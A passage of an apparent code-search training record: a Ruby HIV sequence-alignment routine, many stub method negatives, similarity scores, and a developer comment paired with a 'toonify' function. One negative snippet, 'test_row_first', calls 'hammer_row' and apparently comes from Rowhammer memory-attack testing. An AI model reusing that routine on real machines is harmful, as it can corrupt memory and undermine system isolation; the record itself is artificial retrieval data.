CACAAAAATCGACGCTCAAGTCAGAGGTGGCGAAACCCGACAGGACTATAAAGATACCAGGCGTTTCCCCCTGGAAGCTCCCTCGTGCGCTCTCCTGTTCCGACCCTGCCGCTTACCGGATACCTGTCCGCCTTTCTCCCTTCGGGAAGCGTGGCGCTTTCTCATAGCTCACGCTGTAGGTATCTCAGTTCGGTGTAGGTCGTTCGCTCCAAGCTGGGCTGTGTGCACGAACCCCCCGTTCAGCCCGACCGCTGCGCCTTATCCGGTAACTATCGTCTTGAGTCCAACCCGGTAAGACACGACTTATCGCCACTGGCAGCAGCCACTGGTAACAGGATTAGCAGAGCGAGGTATGTAGGCGGTGCTACAGAGTTCTTGAAGTGGTGGCCTAACTACGGCTACACTAGAAGGACAGTATTTGGTATCTGCGCTCTGCTGAAGCCAGTTACCTTCGGAAAAAGAGTTGGTAGCTCTTGATCCGGCAAACAAACCACCGCTGGTAGCGGTGGTTTTTTTGTTTGCAAGCAGCAGATTACGCGCAGAAAAAAAGGATCTCAAGAAGATCCTTTGATCTTTTCTACGGGGTCTGACGCTCAGTGGAACGAAAACTCACGTTAAGGGATTTTGGTCATGAGATTATCAAAAAGGATCTTCACCTAGATCCTTTTAAATTAAAAATGAAGTTTTAAATCAATCTAAAGTATATATGAGTAAACTTGGTCTGACAGTTACCAATGCTTAATCAGTGAGGCACCTATCTCAGCGATCTGTCTATTTCGTTCATCCATAGTTGCCTGACTCCCCGTCGTGTAGATAACTACGATACGGGAGGGCTTACCATCTGGCCCCAGTGCTGCAATGATACCGCGAGACCCACGCTCACCGGCTCCAGATTTATCAGCAATAAACCAGCCAGCCGGAAGGGCCGAGCGCAGAAGTGGTCCTGCAACTTTATCCGCCTCCATCCAGTCTATTAATTGTTGCCGGGAAGCTAGAGTAAGTAGTTCGCCAGTTAATAGTTTGCGCAACGTTGTTGCCATTGCTACAGGCATCGTGGTGTCACGCTCGTCGTTTGGTATGGCTTCATTCAGCTCCGGTTCCCAACGATCAAGGCGAGTTACATGATCCCCCATGTTGTGCAAAAAAGCGGTTAGCTCCTTCGGTCCTCCGATCGTTGTCAGAAGTAAGTTGGCCGCAGTGTTATCACTCATGGTTATGGCAGCACTGCATAATTCTCTTACTGTCATGCCATCCGTAAGATGCTTTTCTGTGACTGGTGAGTACTCAACCAAGTCATTCTGAGAATAGTGTATGCGGCGACCGAGTTGCTCTTGCCCGGCGTCAATACGGGATAATACCGCGCCACATAGCAGAACTTTAAAAGTGCTCATCATTGGAAAACGTTCTTCGGGGCGAAAACTCTCAAGGATCTTACCGCTGTTGAGATCCAGTTCGATGTAACCCACTCGTGCACCCAACTGATCTTCAGCATCTTTTACTTTCACCAGCGTTTCTGGGTGAGCAAAAACAGGAAGGCAAAATGCCGCAAAAAAGGGAATAAGGGCGACACGGAAATGTTGAATACTCATACTCTTCCTTTTTCAATATTATTGAAGCATTTATCAGGGTTATTGTCTCATGAGCGGATACATATTTGAATGTATTTAGAAAAATAAACAAATAGGGGTTCCGCGCACATTTCCCCGAAAAGTGCCACCTGACGTCTAAGAAACCATTATTATCATGACATTAACCTATAAAAATAGGCGTATCACGAGGCCCTTTCGTCTCGCGCGTTTCGGTGATGACGGTGAAAACCTCTGACACATGCAGCTCCCGGAGACGGTCACAGCTTGTCTGTAAGCGGATGCCGGGAGCAGACAAGCCCGTCAGGGCGCGTCAGCGGGTGTTGGCGGGTGTCGGGGCTGGCTTAACTATGCGGCATCAGAGCAGATTGTACTGAGAGTGCACCATATGCGGTGTGAAATACCGCACAGATGCGTAAGGAGAAAATACCGCATCAGGCGCCATTCGCCATTCAGGCTGCGCAACTGTTGGGAAGGGCGATCGGTGCGGGCCTCTTCGCTATTACGCCAGGGGAGGCAGAGATTGCAGTAAGCTGAGATCGCAGCACTGCACTCCAGCCTGGGCGACAGAGTAAGACTCTGTCTCAAAAATAAAATAAATAAATCAATCAGATATTCCAATCTTTTCCTTTATTTATTTATTTATTTTCTATTTTGGAAACACAGTCCTTCCTTATTCCAGAATTACACATATATTCTATTTTTCTTTATATGCTCCAGTTTTTTTTAGACCTTCACCTGAAATGTGTGTATACAAAATCTAGGCCAGTCCAGCAGAGCCTAAAGGTAAAAAATAAAATAATAAAAAATAAATAAAATCTAGCTCACTCCTTCACATCAAAATGGAGATACAGCTGTTAGCATTAAATACCAAATAACCCATCTTGTCCTCAATAATTTTAAGCGCCTCTCTCCACCACATCTAACTCCTGTCAAAGGCATGTGCCCCTTCCGGGCGCTCTGCTGTGCTGCCAACCAACTGGCATGTGGACTCTGCAGGGTCCCTAACTGCCAAGCCCCACAGTGTGCCCTGAGGCTGCCCCTTCCTTCTAGCGGCTGCCCCCACTCGGCTTTGCTTTCCCTAGTTTCAGTTACTTGCGTTCAGCCAAGGTCTGAAACTAGGTGCGCACAGAGCGGTAAGACTGCGAGAGAAAGAGACCAGCTTTACAGGGGGTTTATCACAGTGCACCCTGACAGTCGTCAGCCTCACAGGGGGTTTATCACATTGCACCCTGACAGTCGTCAGCCTCACAGGGGGTTTATCACAGTGCACCCTTACAATCATTCCATTTGATTCACAATTTTTTTAGTCTCTACTGTGCCTAACTTGTAAGTTAAATTTGATCAGAGGTGTGTTCCCAGAGGGGAAAACAGTATATACAGGGTTCAGTACTATCGCATTTCAGGCCTCCACCTGGGTCTTGGAATGTGTCCCCCGAGGGGTGATGACTACCTCAGTTGGATCTCCACAGGTCACAGTGACACAAGATAACCAAGACACCTCCCAAGGCTACCACAATGGGCCGCCCTCCACGTGCACATGGCCGGAGGAACTGCCATGTCGGAGGTGCAAGCACACCTGCGCATCAGAGTCCTTGGTGTGGAGGGAGGGACCAGCGCAGCTTCCAGCCATCCACCTGATGAACAGAACCTAGGGAAAGCCCCAGTTCTACTTACACCAGGAAAGGC\"\n hxb2_l = hxb2_ref.size\n head = \"\"\n 8.times {head << (65 + rand(25)).chr}\n temp_file = temp_dir + \"/temp\"\n temp_aln = temp_dir + \"/temp_aln\"\n\n l1 = 0\n l2 = 0\n name = \">test\"\n temp_in = File.open(temp_file,\"w\")\n temp_in.puts \">ref\"\n temp_in.puts hxb2_ref\n temp_in.puts name\n temp_in.puts seq\n temp_in.close\n\n print `muscle -in #{temp_file} -out #{temp_aln} -quiet`\n aln_seq = fasta_to_hash(temp_aln)\n aln_test = aln_seq[name]\n aln_test =~ /^(\\-*)(\\w.*\\w)(\\-*)$/\n gap_begin = $1.size\n gap_end = $3.size\n aln_test2 = $2\n ref = aln_seq[\">ref\"]\n ref = ref[gap_begin..(-gap_end-1)]\n ref_size = ref.size\n if ref_size > 1.3*(seq.size)\n l1 = l1 + gap_begin\n l2 = l2 + gap_end\n max_seq = aln_test2.scan(/[ACGT]+/).max_by(&:length)\n aln_test2 =~ /#{max_seq}/\n before_aln_seq = $`\n before_aln = $`.size\n post_aln_seq = $'\n post_aln = $'.size\n before_aln_seq_size = before_aln_seq.scan(/[ACGT]+/).join(\"\").size\n b1 = (1.3 * before_aln_seq_size).to_i\n post_aln_seq_size = post_aln_seq.scan(/[ACGT]+/).join(\"\").size\n b2 = (1.3 * post_aln_seq_size).to_i\n if (before_aln > seq.size) and (post_aln <= seq.size)\n ref = ref[(before_aln - b1)..(ref_size - post_aln - 1)]\n l1 = l1 + (before_aln - b1)\n elsif (post_aln > seq.size) and (before_aln <= seq.size)\n ref = ref[before_aln..(ref_size - post_aln - 1 + b2)]\n l2 = l2 + post_aln - b2\n elsif (post_aln > seq.size) and (before_aln > seq.size)\n ref = ref[(before_aln - b1)..(ref_size - post_aln - 1 + b2)]\n l1 = l1 + (before_aln - b1)\n l2 = l2 + (post_aln - b2)\n end\n temp_in = File.open(temp_file,\"w\")\n temp_in.puts \">ref\"\n temp_in.puts ref\n temp_in.puts name\n temp_in.puts seq\n temp_in.close\n print `muscle -in #{temp_file} -out #{temp_aln} -quiet`\n aln_seq = fasta_to_hash(temp_aln)\n aln_test = aln_seq[name]\n aln_test =~ /^(\\-*)(\\w.*\\w)(\\-*)$/\n gap_begin = $1.size\n gap_end = $3.size\n aln_test2 = $2\n ref = aln_seq[\">ref\"]\n ref = ref[gap_begin..(-gap_end-1)]\n ref_size = ref.size\n end\n aln_seq = fasta_to_hash(temp_aln)\n aln_test = aln_seq[name]\n aln_test =~ /^(\\-*)(\\w.*\\w)(\\-*)$/\n gap_begin = $1.size\n gap_end = $3.size\n aln_test = $2\n aln_test =~ /^(\\w+)(\\-*)\\w/\n s1 = $1.size\n g1 = $2.size\n aln_test =~ /\\w(\\-*)(\\w+)$/\n s2 = $2.size\n g2 = $1.size\n ref = aln_seq[\">ref\"]\n ref = ref[gap_begin..(-gap_end-1)]\n\n l1 = l1 + gap_begin\n l2 = l2 + gap_end\n repeat = 0\n\n if g1 == g2 and (s1 + g1 + s2) == ref.size\n if s1 > s2 and g2 > 2*s2\n ref = ref[0..(-g2-1)]\n repeat = 1\n l2 = l2 + g2\n elsif s1 < s2 and g1 > 2*s1\n ref = ref[g1..-1]\n repeat = 1\n l1 = l1 + g1\n end\n else\n if g1 > 2*s1\n ref = ref[g1..-1]\n repeat = 1\n l1 = l1 + g1\n end\n if g2 > 2*s2\n ref = ref[0..(-g2 - 1)]\n repeat = 1\n l2 = l2 + g2\n end\n end\n\n while repeat == 1\n temp_in = File.open(temp_file,\"w\")\n temp_in.puts \">ref\"\n temp_in.puts ref\n temp_in.puts name\n temp_in.puts seq\n temp_in.close\n print `muscle -in #{temp_file} -out #{temp_aln} -quiet`\n aln_seq = fasta_to_hash(temp_aln)\n aln_test = aln_seq[name]\n aln_test =~ /^(\\-*)(\\w.*\\w)(\\-*)$/\n gap_begin = $1.size\n gap_end = $3.size\n aln_test = $2\n aln_test =~ /^(\\w+)(\\-*)\\w/\n s1 = $1.size\n g1 = $2.size\n aln_test =~ /\\w(\\-*)(\\w+)$/\n s2 = $2.size\n g2 = $1.size\n ref = aln_seq[\">ref\"]\n ref = ref[gap_begin..(-gap_end-1)]\n l1 = l1 + gap_begin\n l2 = l2 + gap_end\n repeat = 0\n if g1 > 2*s1\n ref = ref[g1..-1]\n repeat = 1\n l1 = l1 + g1\n end\n if g2 > 2*s2\n ref = ref[0..(-g2 - 1)]\n repeat = 1\n l2 = l2 + g2\n end\n end\n ref = hxb2_ref[l1..(hxb2_l - l2 - 1)]\n\n temp_in = File.open(temp_file,\"w\")\n temp_in.puts \">ref\"\n temp_in.puts ref\n temp_in.puts name\n temp_in.puts seq\n temp_in.close\n print `muscle -in #{temp_file} -out #{temp_aln} -quiet`\n aln_seq = fasta_to_hash(temp_aln)\n aln_test = aln_seq[name]\n ref = aln_seq[\">ref\"]\n\n #refine alignment\n\n if ref =~ /^(\\-+)/\n l1 = l1 - $1.size\n elsif ref =~ /(\\-+)$/\n l2 = l2 + $1.size\n end\n l1 = 0 if l1 < 0\n if (hxb2_l - l2 - 1) >= l1\n ref = hxb2_ref[l1..(hxb2_l - l2 - 1)]\n temp_in = File.open(temp_file,\"w\")\n temp_in.puts \">ref\"\n temp_in.puts ref\n temp_in.puts name\n temp_in.puts seq\n temp_in.close\n print `muscle -in #{temp_file} -out #{temp_aln} -quiet`\n aln_seq = fasta_to_hash(temp_aln)\n aln_test = aln_seq[name]\n ref = aln_seq[\">ref\"]\n\n ref_size = ref.size\n sim_count = 0\n (0..(ref_size-1)).each do |n|\n ref_base = ref[n]\n test_base = aln_test[n]\n sim_count += 1 if ref_base == test_base\n end\n similarity = (sim_count/ref_size.to_f*100).round(1)\n print `rm -f #{temp_file}`\n print `rm -f #{temp_aln}`\n loc_p1 = l1 + 1\n loc_p2 = hxb2_l - l2\n if seq.size != (loc_p2 - loc_p1 + 1)\n indel = true\n elsif aln_test.include?(\"-\")\n indel = true\n end\n return [loc_p1,loc_p2,similarity,indel,aln_test,ref]\n else\n return [0,0,0,0,0,0,0]\n end\nrescue\n return [0,0,0,0,\"N\",\"N\"]\nend",
"def first_offset; end",
"def first_offset; end",
"def rest_positionals; end",
"def first; end",
"def first; end",
"def dh; end",
"def original_result; end",
"def r; end",
"def r; end",
"def pos; end",
"def pos; end",
"def pos; end",
"def pos; end",
"def pos; end",
"def pos; end",
"def ibu; end",
"def postproc; end",
"def same; end",
"def index(p0) end",
"def index(p0) end",
"def internal; end",
"def required_positionals; end",
"def verdi; end",
"def parts; end",
"def parts; end",
"def parts; end",
"def sitemaps; end",
"def strain; end",
"def buzzword; end",
"def buzzword; end",
"def generate_comprehensive\n\n end",
"def transformations; end",
"def refutal()\n end",
"def hit_from; @seq2.from; end",
"def isolated; end",
"def isolated; end",
"def feruchemist; end",
"def gen_washing\r\r\n end",
"def romeo_and_juliet; end",
"def spice; end",
"def used?; end",
"def test_row_first(r)\n flag = false\n $pages[r-1].select{|p| (p.p >> PAGE_SHIFT).even? }.each {|p|\n $pages[r+1].select {|q| (q.p >> PAGE_SHIFT).even? and conflict?(p.v, q.v)\n }.each {|q|\n flag |= hammer_row(r, p, q, $ntime_max)\n } \n }\n return flag\nend",
"def bs; end",
"def probers=(_arg0); end",
"def hiddens; end",
"def too_complex; end",
"def sharp; accidental; end",
"def at(p0) end",
"def upc_e; end",
"def passes; end",
"def passes; end",
"def bad_smell_by_nfunctions\n end",
"def mambo_no_5; end",
"def post_match() end"
] | [
"0.6225095",
"0.6095853",
"0.5966423",
"0.5770216",
"0.5726718",
"0.56173086",
"0.561076",
"0.55952066",
"0.5512317",
"0.5449903",
"0.5449903",
"0.540996",
"0.54021853",
"0.53890663",
"0.5388305",
"0.5386345",
"0.53743017",
"0.53371596",
"0.53333676",
"0.5288742",
"0.52872807",
"0.52786887",
"0.52400255",
"0.522404",
"0.5223072",
"0.5223072",
"0.5223072",
"0.52047014",
"0.51784045",
"0.51784045",
"0.5171822",
"0.5165262",
"0.51545024",
"0.51535547",
"0.51528347",
"0.51528347",
"0.51528347",
"0.51528347",
"0.5144966",
"0.5131239",
"0.51273626",
"0.5111305",
"0.511041",
"0.51071197",
"0.51034606",
"0.51017267",
"0.5100545",
"0.50882244",
"0.50882244",
"0.50826013",
"0.5066906",
"0.5066906",
"0.5061742",
"0.505022",
"0.50464004",
"0.50464004",
"0.5032471",
"0.5032471",
"0.5032471",
"0.5032471",
"0.5032471",
"0.5032471",
"0.5030925",
"0.5024854",
"0.5014684",
"0.5013768",
"0.5013768",
"0.5011282",
"0.500558",
"0.499921",
"0.49963838",
"0.49963838",
"0.49963838",
"0.49878508",
"0.49854615",
"0.49853623",
"0.49853623",
"0.49816176",
"0.49811146",
"0.49805662",
"0.49797863",
"0.49764878",
"0.49764878",
"0.49755436",
"0.49752745",
"0.4972501",
"0.49719298",
"0.49652624",
"0.4958932",
"0.49552262",
"0.49542686",
"0.49532825",
"0.49451098",
"0.49357325",
"0.4930009",
"0.4923389",
"0.49118498",
"0.49118498",
"0.4903467",
"0.49023667",
"0.4902103"
] | 0.0 | -1 |
3 doesnt work, just have to come back later finally figured out why Pry wasnt working,atom wasnt color code correctly | def toonify (accent, sentence)
if accent == 'daffy'
return sentence.gsub('s','th')
elsif accent =='elmer'
return sentence.gsub('r','w')
else
return sentence
end
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def bg_red; use_code(41) end",
"def get_color_code\n\t\t{ r: @term_hex[0], g: @term_hex[1], b: @term_hex[2], alpha: @term_hex[-1] }\n\tend",
"def hsla_color; end",
"def colorized?; end",
"def scan_for_colors; end",
"def red\n colorize(31)\n end",
"def colour(name, text)\n if Pry.color\n str = Pry::Helpers::Text.send(name, text)\n unless str.start_with?(\"\\001\")\n str = \"\\001#{Pry::Helpers::Text.send name, '{text}'}\\002\".sub '{text}', \"\\002#{text}\\001\"\n end\n str\n else\n text\n end\nend",
"def color(color); end",
"def colorize(text, color_code); \"\\e[#{color_code}m#{text}\\e[0m\"; end",
"def init_colors\n $desc_color = \"#{GREEN}\" # color of description portion\n # color the title based on priority\n $p5color = \"#{BLUE}#{BOLD}\" \n $p4color = \"#{MAGENTA}\" \n $p3color = \"#{CYAN}#{BOLD}\" \n $p2color = \"#{BOLD}\"\n $p1color = \"#{YELLOW}#{ON_RED}\"\n #\n # color for only the type column\n $bugcolor = \"#{BLACK}#{ON_RED}\"\n $enhcolor = \"#{GREEN}\"\n $feacolor = \"#{CYAN}\"\n\n # color for row of started event\n $startedcolor = \"#{STANDOUT}\"\n\n cols = %x[tput colors] rescue 8\n cols = cols.to_i\n if cols >= 256\n $desc_color = \"\\x1b[38;5;236m\" # 256 colors, grey\n $p5color = \"\\x1b[38;5;57m\" # some kinda blue\n $p4color = \"\\x1b[38;5;239m\" # grey. 256 colors\n $p3color = \"\\x1b[38;5;244m\" # grey, 256 colors\n end\n end",
"def on_49(_) { fg: fg_color(9) } end",
"def red(output)\n color(31, output)\n end",
"def color(code, str, partial = T.unsafe(nil)); end",
"def colour(name, text)\n if Pry.color\n \"\\001#{Pry::Helpers::Text.send name, '{text}'}\\002\".sub '{text}', \"\\002#{text}\\001\"\n else\n text\n end\nend",
"def code\n index = 16 +\n RGB.to_ansi_domain(@red) * 36 +\n RGB.to_ansi_domain(@green) * 6 +\n RGB.to_ansi_domain(@blue)\n\n \"#{@ground_code};5;#{index}\"\n end",
"def auxiliary_colour\n @cr[0xe] >> 4\n end",
"def colors; end",
"def color_from_symbol(match, symbol); end",
"def colorize!(color_code) \"#{COLORS[color_code]}#{self.to_s}\\e[0m\" ; end",
"def pre_render\n @attr = @source.attr\n cp = get_color($datacolor, @source.color(), @source.bgcolor())\n @color_pair = @source.color_pair || cp\n @cp = FFI::NCurses.COLOR_PAIR(cp)\n end",
"def color; end",
"def color; end",
"def color; end",
"def display_color_index\n require_color_echo_get\n\n CE.rainbow\n cnt = 134\n @padding = \" \" * 2\n\n header = \"OK, Let me check color index list... :)\"\n mes = CE.rainbow.get(@padding + \"-\" * cnt) + $/\n mes += @padding + \" \" * ((cnt - header.size)/2) + CE.rainbow.get(header) + $/\n mes += CE.rainbow.get(@padding + \"-\" * cnt) + $/\n\n mes += @padding\n 256.times do |i|\n num = i + 1\n mes += CE.fg(\"index#{num}\".intern).get(\"index#{num}\" + \" \" * (4 - num.to_s.size))\n mes += CE.bg(\"index#{num}\".intern).get(\" \" * 5)\n mes += \" \" * 3\n\n if num % 8 == 0\n mes += $/ * 2\n mes += @padding if num != 256\n end\n end\n print mes \n\n exit 0\nend",
"def format_color(name, text)\n if Pry.color\n \"\\001#{Pry::Helpers::Text.send name, '{text}'}\\002\".sub '{text}', \"\\002#{text}\\001\"\n else\n text\n end\nend",
"def interpret(num) \n case num\n when 0\n \"red\"\n when 1\n \"blue\"\n when 2\n \"green\"\n when 3\n \"yellow\"\n when 4\n \"black\"\n when 5\n \"white\" \n end\n end",
"def getColor(colorname)\n# @color = { \"white\" => assignColor256(\"white\",255,255,255),\n# \"black\" => assignColor256(\"black\",0,0,0),\n# \"orange\" => assignColor256(\"orange\",255,0,0),\n# \"red\" => assignColor256(\"red\",0,255,0),\n# \"blue\" => assignColor256(\"blue\",0,0,255),\n# \"grey\" => assignColor256(\"grey\",120,120,120),\n# } ;\n col = @color[colorname] ;\n if(col.nil?) then\n f = File::new(RGBFILE) ;\n rval = -1 ; gval = -1 ; bval = -1 ;\n while(entry = f.gets)\n\tentry.strip! ;\n\trstr,gstr,bstr,name = entry.split ;\n\tif(name == colorname) then\n\t rval = rstr.to_i * 256 ;\n\t gval = gstr.to_i * 256 ;\n\t bval = bstr.to_i * 256 ;\n\t break ;\n\tend\n end\n if(rval < 0) then\n\tif(colorname =~ /^\\#([0-9a-fA-F][0-9a-fA-F])([0-9a-fA-F][0-9a-fA-F])([0-9a-fA-F][0-9a-fA-F])$/) then\n\t rstr = $1 ; gstr = $2 ; bstr = $3 ;\n\t rval = rstr.hex * 256 ; \n\t gval = gstr.hex * 256 ; \n\t bval = bstr.hex * 256 ; \n\telse\n\t $stderr << \"unknown color name:\" << colorname << \"\\n\" ;\n\tend\n end\n col = assignColor(colorname,rval,gval,bval) ;\n end\n return col ;\n end",
"def green\n colorize(32)\n end",
"def crisis_color\n return text_color(17)\n end",
"def test_set_color_rendering_intent\n @writer.set_color_rendering_intent(\"RelativeColorimetric\")\n assert_equal(\"/RelativeColorimetric ri\\n\", @stream)\n end",
"def lnbColor _args\n \"lnbColor _args;\" \n end",
"def rgb_color; end",
"def r; self.color.r end",
"def rgb_style(string)\n pastel = Pastel.new\n styled_rgb = pastel.red(\"#{string[0]}\") + pastel.green(\"#{string[1]}\") + pastel.blue(\"#{string[2]}\")\n return styled_rgb\nend",
"def bash_color_codes(string)\n string.gsub(\"\\e[0m\", '</span>').\n gsub(\"\\e[31m\", '<span class=\"color31\">').\n gsub(\"\\e[32m\", '<span class=\"color32\">').\n gsub(\"\\e[33m\", '<span class=\"color33\">').\n gsub(\"\\e[34m\", '<span class=\"color34\">').\n gsub(\"\\e[35m\", '<span class=\"color35\">').\n gsub(\"\\e[36m\", '<span class=\"color36\">').\n gsub(\"\\e[37m\", '<span class=\"color37\">')\n end",
"def hex_color(args = T.unsafe(nil)); end",
"def strip_color_codes(text); end",
"def cyan; if @options[:colors]; \"\\e[1;36m\" else \"\" end end",
"def red(text)\n colorize(text, 31)\nend",
"def color(color_code)\n colors = color_code.scan(/\\d+/)\n\n # Extended set foreground x-term color\n if colors[0] == \"38\" && colors[1] == \"5\"\n return @fg_color = \"term-fgx#{colors[2]}\"\n end\n\n # Extended set background x-term color\n if colors[0] == \"48\" && colors[1] == \"5\"\n return @bg_color = \"term-bgx#{colors[2]}\"\n end\n\n # If multiple colors are defined, i.e. \\e[30;42m\\e then loop through each\n # one, and assign it to @fg_color or @bg_color\n colors.each do |cc|\n c_integer = cc.to_i\n\n # Reset all styles\n if c_integer == 0\n @fg_color = nil\n @bg_color = nil\n @other_colors = []\n\n # Primary (default) font\n elsif c_integer == 10\n # no-op\n\n # Turn off bold / Normal color or intensity (21 & 22 essentially do the same thing)\n elsif c_integer == 21 || c_integer == 22\n @other_colors.delete(\"term-fg1\")\n @other_colors.delete(\"term-fg2\")\n\n # Turn off italic\n elsif c_integer == 23\n @other_colors.delete(\"term-fg3\")\n\n # Turn off underline\n elsif c_integer == 24\n @other_colors.delete(\"term-fg4\")\n\n # Turn off crossed-out\n elsif c_integer == 29\n @other_colors.delete(\"term-fg9\")\n\n # Reset foreground color only\n elsif c_integer == 39\n @fg_color = nil\n\n # Reset background color only\n elsif c_integer == 49\n @bg_color = nil\n\n # 30–37, then it's a foreground color\n elsif c_integer >= 30 && c_integer <= 37\n @fg_color = \"term-fg#{cc}\"\n\n # 40–47, then it's a background color.\n elsif c_integer >= 40 && c_integer <= 47\n @bg_color = \"term-bg#{cc}\"\n\n # 90-97 is like the regular fg color, but high intensity\n elsif c_integer >= 90 && c_integer <= 97\n @fg_color = \"term-fgi#{cc}\"\n\n # 100-107 is like the regular bg color, but high intensity\n elsif c_integer >= 100 && c_integer <= 107\n @fg_color = \"term-bgi#{cc}\"\n\n # 1-9 random other styles\n elsif c_integer >= 1 && c_integer <= 9\n @other_colors << \"term-fg#{cc}\"\n end\n end\n end",
"def bold_red(output)\n color('1;31', output)\n end",
"def red; end",
"def red; end",
"def purple\n colorize(35)\n end",
"def symbol\n @color \n end",
"def draw\n $code.each { |color| print \"[ #{Rainbow(\"o\").background(color)} ] \" }\n puts \"\\n\\n\"\n end",
"def lnbSetColor _args\n \"lnbSetColor _args;\" \n end",
"def red\n end",
"def colorize(text, color_code); \"#{color_code}#{text}\\033[0m\"; end",
"def setcolorrep(*)\n super\n end",
"def bg_dark_grey; use_code(100) end",
"def red_style(string)\n pastel = Pastel.new\n red_string = pastel.red(\"#{string}\")\n return red_string\nend",
"def scolora(str)\n str.to_s.\n gsub(/\\e\\[1;33m/,''). # colori 16\n gsub(/\\e\\[0m/,''). # colori 64k\n gsub(/\\e\\[38;\\d+;\\d+m/,'') # end color\nend",
"def actual_color\n ColorCode.where(numeric_code: default_code.split(\"-\")[-2])[0]\n end",
"def red(input)\n puts \"\\e[31m#{input}\\e[0m\"\nend",
"def red(input)\n puts \"\\e[31m#{input}\\e[0m\"\nend",
"def colorize txt, fg, bg, flags\n fgc = (fg.nil? || Color === fg ) ? fg : Color.parse(fg)\n bgc = (bg.nil? || Color === bg) ? bg : Color.parse(bg)\n esc = []\n esc << '01' if flags[:b]\n esc << '03' if flags[:i]\n esc << '04' if flags[:u]\n esc << '07' if flags[:r]\n esc << \"38;05;#{fgc.xterm256}\" if fgc\n esc << \"48;05;#{bgc.xterm256}\" if bgc\n \n esc.empty? ? txt : \"\\e[#{esc.join(';')}m#{txt}\\e[0m\" \n end",
"def red(str)\n \"\\e[31m#{str}\\e[0m\"\nend",
"def red(str)\n \"\\e[31m#{str}\\e[0m\"\nend",
"def red(str)\n \"\\e[31m#{str}\\e[0m\"\nend",
"def red(str)\n \"\\e[31m#{str}\\e[0m\"\nend",
"def red(str)\n \"\\e[31m#{str}\\e[0m\"\nend",
"def nc\n Ncurses::COLOR_PAIR(@id)\n end",
"def blue = \"\\e[36m#{self}\\e[0m\"",
"def render_atom(x, y, color)\n render_point_big(x, y, color)\n end",
"def colorize!; @colors = true; end",
"def color(*args)\n @instructions << Instruction.new(:color, args)\n self\n end",
"def green(output)\n color(32, output)\n end",
"def green(text)\n colorize(text, 32)\nend",
"def rgb_code(red, green, blue, background = T.unsafe(nil)); end",
"def rgb_code(red, green, blue, background = T.unsafe(nil)); end",
"def color\n case (@code.to_i / 100)\n when 2\n color = :green\n when 3\n color = :yellow\n when 4, 5\n color = :red\n else\n color = :blue\n end\n color\n end",
"def process(line)\n line.gsub!(/^#.*/, '') # remove comments\n return if line.match?(/^\\s*$/) # skip blank lines\n color = Color.new line\n color.to_html\nend",
"def foreground_color(index)\n \"\\e[38;5;#{index}m\"\nend",
"def success(*args)\n color(32, *args)\n end",
"def green=(_); end",
"def red(text)\n colorize text, \"\\033[1;31m\"\n end",
"def yellow\n colorize(33)\n end",
"def colorize(text, color_code)\n \"\\e[#{color_code}m#{text}\\e[0m\"\nend",
"def output_color(text, color=text.to_i)\r\n # Color matches: 1 - Black; 2 - White; 3 - Red; 4 - Yellow; 5 - Green; 6 - Blue; 7 - Gold\r\n colors = { 1 => 30, 2 => 36, 3 => 31, 4 => 33, 5 => 35, 6 => 34, 7 => 220 }\r\n # \\e[47m Is for the grey foreground \\e[{color} is for picking the color and \\e[0m is for resetting the terminal.\r\n \"\\e[1m\\e[47m\\e[#{colors[color]}m#{text}\\e[0m\\e[22m\"\r\n end",
"def setup_ghost_colors(num, color)\n # Add 10 to each num to create a new number and assign the opacity-altered color values\n opacity = 0.5\n num += 10\n\n Curses.init_color(num, *color.map { |c| ((c * opacity) / 255.0 * 1000).to_i })\n Curses.init_pair(num, num, num)\nend",
"def red=(_); end",
"def red\n colorize \"\\033[31m\"\n end",
"def red(string)\n \"\\033[0;31m#{string}\\e[0m\"\nend",
"def red(string)\n \"\\033[0;31m#{string}\\e[0m\"\nend",
"def blue=(_); end",
"def getColor(c)\n if c == \"r\" then return :red\n elsif c == \"b\" then return :blue\n elsif c == \"g\" then return :green\n elsif c == \"y\" then return :yellow\n elsif c == \"c\" then return :cyan\n elsif c == \"m\" then return :magenta\n end\nend",
"def color(text, color_code)\n \"#{color_code}#{text}\\e[0m\"\n end",
"def ansi_color(color, text)\n #\"\\x1b[38;5;#{color}m#{text}\\x1b[0m\"\n \"\\e[38;5;#{color}m#{text}\\e[0m\"\nend",
"def colorize(*args)\n shell.set_color(*args)\n end",
"def colors\n return\n end",
"def red(msg)\n \"\\033[31m#{msg}\\033[39m\"\nend",
"def initialize\r\n\t\t@color =\"platinum\"\r\n\tend",
"def green(string)\n \"\\033[0;32m#{string}\\e[0m\"\nend",
"def green(string)\n \"\\033[0;32m#{string}\\e[0m\"\nend",
"def rainbow\n (0..256).each{ |color| \n print Paint[' ',48,5,color] # print empty bg color field\n }\n puts\n end",
"def color_methods; end",
"def set_colors\n if @color_output \n @c_app_info = @color_app_info\n @c_app_exe = @color_app_exe\n @c_command = @color_command\n @c_description = @color_description\n @c_parameter = @color_parameter\n @c_usage = @color_usage\n \n @c_error_word = @color_error_word\n @c_error_name = @color_error_name\n @c_error_description = @color_error_description\n \n @c_bold = @color_bold\n @c_reset = @color_reset\n else\n @c_app_info, @c_app_exe, @c_command, \n @c_description, @c_parameter, @c_usage, \n @c_bold, @c_reset, @c_error_word, \n @c_error_name, @c_error_description = [\"\"]*11\n end\n end",
"def bbcode_to_ansi(string, usecolors = T.unsafe(nil)); end",
